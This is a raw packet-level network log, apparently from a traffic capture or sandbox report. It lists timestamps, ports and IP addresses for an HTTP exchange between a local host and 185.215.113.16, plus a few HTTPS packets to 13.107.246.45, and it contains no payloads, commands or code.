Nov 18, 2024 20:21:34.663330078 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:34.663333893 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:34.663345098 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:34.663352013 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:34.663357019 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:34.663368940 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:34.663373947 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:34.663379908 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:34.663424969 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:34.663517952 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:34.663528919 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:34.663539886 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:34.663552999 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:34.663556099 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:34.663563967 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:34.663574934 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:34.663575888 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:34.663587093 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:34.663599014 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:34.663609982 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:34.663614988 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:34.663651943 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:34.663737059 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:34.663746119 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:34.663758993 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:34.663780928 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:34.663817883 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:34.663837910 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:34.663850069 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:34.663867950 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:34.663873911 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:34.663881063 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:34.663889885 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:34.663911104 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:34.664057016 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:34.664067030 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:34.664077997 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:34.664098978 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:34.664127111 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:34.664129019 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:34.664138079 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:34.664150000 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:34.664160967 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:34.664171934 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:34.664176941 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:34.664196014 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:34.664333105 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:34.664344072 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:34.664355040 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:34.664376974 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:34.664408922 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:34.664467096 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:34.664477110 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:34.664489031 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:34.664499044 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:34.664511919 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:34.664511919 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:34.664525032 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:34.664535046 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:34.664568901 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:34.664611101 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:34.664622068 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:34.664633036 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:34.664657116 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:34.664722919 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:34.664732933 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:34.664743900 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:34.664761066 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:34.664776087 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:34.664793968 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:34.664807081 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:34.664819002 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:34.664859056 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:34.770807028 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:34.770823956 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:34.770844936 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:34.770858049 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:34.770864964 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:34.770872116 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:34.770883083 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:34.770917892 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:34.770939112 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:34.770946026 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:34.770953894 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:34.771023989 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:34.771053076 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:34.771085024 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:34.771105051 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:34.771116018 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:34.771131039 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:34.771142960 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:34.771147013 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:34.771158934 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:34.771181107 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:34.771199942 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:34.782493114 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:34.782514095 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:34.782563925 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:34.782593012 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:34.782603979 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:34.782639027 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:34.783025980 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:34.783037901 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:34.783050060 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:34.783087015 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:34.783092976 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:34.783097982 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:34.783109903 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:34.783122063 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:34.783137083 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:34.783138037 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:34.783179998 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:34.783205986 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:34.783206940 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:34.783219099 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:34.783230066 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:34.783261061 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:34.783351898 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:34.783375025 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:34.783385992 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:34.783394098 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:34.783409119 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:34.783426046 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:34.783427000 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:34.783432007 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:34.783440113 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:34.783448935 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:34.783514977 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:34.783526897 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:34.783569098 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:34.783602953 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:34.783613920 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:34.783627033 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:34.783629894 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:34.783638000 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:34.783653975 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:34.783679008 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:34.783679962 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:34.783745050 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:34.783755064 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:34.783766985 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:34.783778906 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:34.783787012 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:34.783811092 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:34.783814907 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:34.783838987 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:34.783886909 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:34.783905983 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:34.783945084 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:34.784090042 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:34.784101009 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:34.784131050 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:34.784207106 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:34.784218073 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:34.784229040 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:34.784240961 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:34.784251928 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:34.784260035 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:34.784264088 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:34.784281015 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:34.784281969 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:34.784291983 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:34.784303904 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:34.784315109 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:34.784321070 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:34.784327030 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:34.784339905 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:34.784343958 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:34.784351110 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:34.784367085 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:34.784389973 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:34.784421921 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:34.784435034 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:34.784503937 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:34.784516096 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:34.784535885 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:34.784544945 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:34.784545898 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:34.784584045 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:34.784624100 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:34.784640074 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:34.784651995 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:34.784676075 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:34.784754992 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:34.784765005 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:34.784775972 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:34.784801960 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:34.784833908 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:34.784835100 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:34.784845114 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:34.784857035 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:34.784868956 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:34.784878016 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:34.784878969 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:34.784912109 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:34.785026073 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:34.785037041 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:34.785048008 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:34.785070896 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:34.785103083 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:34.785104990 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:34.785113096 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:34.785120964 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:34.785166979 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:34.837271929 CET	443	49774	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:34.837858915 CET	49774	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:34.837879896 CET	443	49774	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:34.838336945 CET	49774	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:34.838341951 CET	443	49774	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:34.890773058 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:34.890814066 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:34.890825033 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:34.890892029 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:34.890908957 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:34.890933037 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:34.890942097 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:34.890954971 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:34.890978098 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:34.890989065 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:34.891056061 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:34.891067982 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:34.891078949 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:34.891113997 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:34.891145945 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:34.891161919 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:34.891174078 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:34.891191006 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:34.891204119 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:34.891212940 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:34.891223907 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:34.891227961 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:34.891235113 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:34.891246080 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:34.891258001 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:34.891278028 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:34.891310930 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:34.903395891 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:34.903433084 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:34.903444052 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:34.903455973 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:34.903476000 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:34.903486013 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:34.903486967 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:34.903498888 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:34.903508902 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:34.903520107 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:34.903529882 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:34.903542042 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:34.903553009 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:34.903564930 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:34.903647900 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:34.903649092 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:34.903649092 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:34.903649092 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:34.903649092 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:34.904208899 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:34.904221058 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:34.904232979 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:34.904242992 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:34.904262066 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:34.904272079 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:34.904279947 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:34.904284000 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:34.904297113 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:34.904308081 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:34.904320955 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:34.904325962 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:34.904349089 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:34.904373884 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:34.904589891 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:34.904608965 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:34.904628038 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:34.904633045 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:34.904639006 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:34.904661894 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:34.904673100 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:34.904674053 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:34.904690981 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:34.904702902 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:34.904710054 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:34.904714108 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:34.904723883 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:34.904731035 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:34.904736042 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:34.904747009 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:34.904769897 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:34.904777050 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:34.904782057 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:34.904793024 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:34.904807091 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:34.904814005 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:34.904819012 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:34.904829979 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:34.904838085 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:34.904841900 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:34.904863119 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:34.904853106 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:34.904879093 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:34.904886007 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:34.904933929 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:34.904979944 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:34.905008078 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:34.905019999 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:34.905030966 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:34.905041933 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:34.905047894 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:34.905052900 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:34.905065060 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:34.905076981 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:34.905088902 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:34.905095100 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:34.905101061 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:34.905121088 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:34.905144930 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:34.905144930 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:34.905155897 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:34.905179024 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:34.905190945 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:34.905191898 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:34.905246973 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:34.905255079 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:34.905329943 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:34.905340910 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:34.905352116 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:34.905378103 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:34.905411959 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:34.905416012 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:34.905428886 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:34.905441046 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:34.905452013 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:34.905463934 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:34.905478001 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:34.905513048 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:34.909965992 CET	443	49776	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:34.912235022 CET	49776	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:34.912257910 CET	443	49776	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:34.912632942 CET	49776	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:34.912636995 CET	443	49776	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:34.927560091 CET	443	49775	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:34.928658009 CET	49775	443	192.168.2.5	13.107.246.45
